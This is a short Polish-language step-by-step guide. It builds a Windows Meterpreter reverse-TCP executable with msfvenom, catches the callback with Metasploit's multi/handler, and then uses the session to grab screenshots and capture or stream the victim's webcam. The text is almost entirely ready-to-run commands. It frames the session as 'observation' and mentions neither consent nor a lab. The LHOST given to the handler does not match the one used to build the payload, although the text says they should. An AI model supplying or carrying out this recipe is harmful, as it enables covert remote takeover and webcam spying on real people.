TWORZENIE PAYLOAD'U

```
cd /usr/share/metasploit-framework/
```

Podmień 192.168.1.1 na adres komputera z którego przeprowadzacie atak

```
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444
-f exe -o ~/Pulpit/payload.exe
```

URUCHAMIANIE SESJI OBSERWOWANIA

Uruchom konsolę

```
./msfconsole
```

Użyj multihandlera

```
msf > use exploit/multi/handler
```

Załaduj exploit Reverse TCP

```
msf > set payload windows/meterpreter/reverse_tcp
```

Wpisz adres IP, który podałeś podczas generowania payload.exe

```
msf > set LHOST 192.168.43.113
```

Wpisz PORT, który podałeś podczas generowania payload.exe

```
msf > set LPORT 4444
```

Uruchom exploit

```
exploit
```

Czekaj na uruchomienie payload'u na atakowanej maszynie (pojawi się prompt `meterpreter >`)

KOMENDY W TRAKCIE TRWANIA SESJI

Zrzut ekranu

```
meterpreter > screenshot
```

Zdjęcie z kamery

```
meterpreter > webcam_snap
```

Stream video z kamery

```
meterpreter > webcam_stream
```

Wyświetlenie wszystkich dostępnych komend

```
meterpreter > help
```